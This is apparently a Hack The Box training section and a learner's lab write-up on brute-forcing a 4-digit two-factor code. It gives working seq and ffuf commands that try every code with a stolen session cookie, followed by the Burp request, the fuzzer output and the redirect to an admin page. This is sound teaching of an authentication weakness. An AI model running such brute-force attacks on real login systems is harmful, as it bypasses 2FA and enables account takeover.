Brute-Forcing 2FA Codes

Two-factor authentication (2FA) provides an additional layer of security to protect user accounts from unauthorized access. Typically, this is achieved by combining knowledge-based authentication (such as a password) with ownership-based authentication (using a 2FA device). However, 2FA can also be achieved by combining any two of the three major authentication categories we discussed previously. Therefore, 2FA makes it significantly more difficult for attackers to access an account even if they manage to obtain the user's credentials. By requiring users to provide a second form of authentication, such as a one-time code generated by an authenticator app or sent via SMS, 2FA mitigates the risk of unauthorized access. This extra layer of security significantly enhances the overall security posture of an account, reducing the likelihood of successful account breaches.

Attacking Two-Factor Authentication (2FA)

One of the most common 2FA implementations relies on the user's password and a time-based one-time password (TOTP) provided to the user's smartphone by an authenticator app or via SMS. These TOTPs typically consist only of digits, making them potentially guessable if the length is insufficient and the web application does not implement measures against successive submission of incorrect TOTPs. For our lab, we will assume that we obtained valid credentials in a prior phishing attack: admin:admin. However, the web application is secured with 2FA, as we can see after logging in with the obtained credentials:

Two-Factor Authentication page with message: "Welcome admin. Please provide your 4-digit One-Time Password (OTP)." Field for OTP and submit button.

The message in the web application shows that the TOTP is a 4-digit code. Since there are only 10,000 possible variations, we can easily try all possible codes. To achieve this, let us first take a look at the corresponding request to prepare our parameters for ffuf:

HTTP request and response. Request: POST to /2fa.php with OTP "0000". Response: "Invalid 2FA Code."

As we can see, the TOTP is passed in the otp POST parameter. Furthermore, we need to specify our session token in the PHPSESSID cookie to associate the TOTP with our authenticated session. Just like in the previous section, we can generate a wordlist containing all 4-digit numbers from 0000 to 9999 like so:

m4cc18@htb[/htb]$ seq -w 0 9999 > tokens.txt

Afterward, we can use the following command to brute-force the correct TOTP by filtering out responses containing the Invalid 2FA Code error message:

m4cc18@htb[/htb]$ ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=fpfcm5b8dh1ibfa7idg0he7l93" -d "otp=FUZZ" -fr "Invalid 2FA Code"

<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 648ms]
    * FUZZ: 6513
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 635ms]
    * FUZZ: 6514

<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1ms]
    * FUZZ: 9999

As we can see, we get many hits. That is because our session successfully passed the 2FA check after we had supplied the correct TOTP. Since 6513 was the first hit, we can assume this was the correct TOTP. Afterward, our session is marked as fully authenticated, so all requests using our session cookie are redirected to /admin.php. To access the protected page, we can simply access the endpoint /admin.php in a web browser and verify that we have successfully passed 2FA.


Exercise

TARGET: 154.57.164.64:30225

Challenge 1

Brute-force the admin user's 2FA code on the target system to obtain the flag.

Discovery

Visit the target web app and try to login with the given credentials in this section: admin:admin
image-12.png

Open Burp proxy and look at the request when we send a wrong TOTP code:
image-14.png

POST /2fa.php HTTP/1.1
Host: 154.57.164.64:30225
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: http://154.57.164.64:30225
Connection: keep-alive
Referer: http://154.57.164.64:30225/2fa.php
Cookie: PHPSESSID=orjklom932onq3of6jmaq2ngoh
Upgrade-Insecure-Requests: 1
Priority: u=0, i

otp=1234

Note how the code is being passed as a POST parameter:

otp=????

Also note the following header:

Cookie: PHPSESSID=orjklom932onq3of6jmaq2ngoh

Exploitation

Knowing how the TOTP code is passed through a POST request, the next step is to generate a wordlist that contains all possible 4-digit values. We will use the same seq command we used on the previous section:

┌──(macc㉿kaliLab)-[~/htb/broken_authentication]
└─$ seq -w 0 9999 > tokens.txt

Afterward, we can use the following command to brute-force the correct TOTP by filtering out responses containing the Invalid 2FA Code error message:

┌──(macc㉿kaliLab)-[~/htb/broken_authentication]
└─$ ffuf -w ./tokens.txt -u http://154.57.164.64:30225/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=orjklom932onq3of6jmaq2ngoh" -d "otp=FUZZ" -fr "Invalid 2FA Code"

Output:


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://154.57.164.64:30225/2fa.php
 :: Wordlist         : FUZZ: /home/macc/htb/broken_authentication/tokens.txt
 :: Header           : Cookie: PHPSESSID=orjklom932onq3of6jmaq2ngoh
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : otp=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Invalid 2FA Code
________________________________________________

4723                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 124ms]
4727                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 123ms]
4730                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 118ms]
4726                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 128ms]
4731                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 124ms]
4728                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 130ms]
4729                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 128ms]
...
9999                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 124ms]

Finally, we just need to visit /admin.php to retrieve our flag:
image-15.png

flag: HTB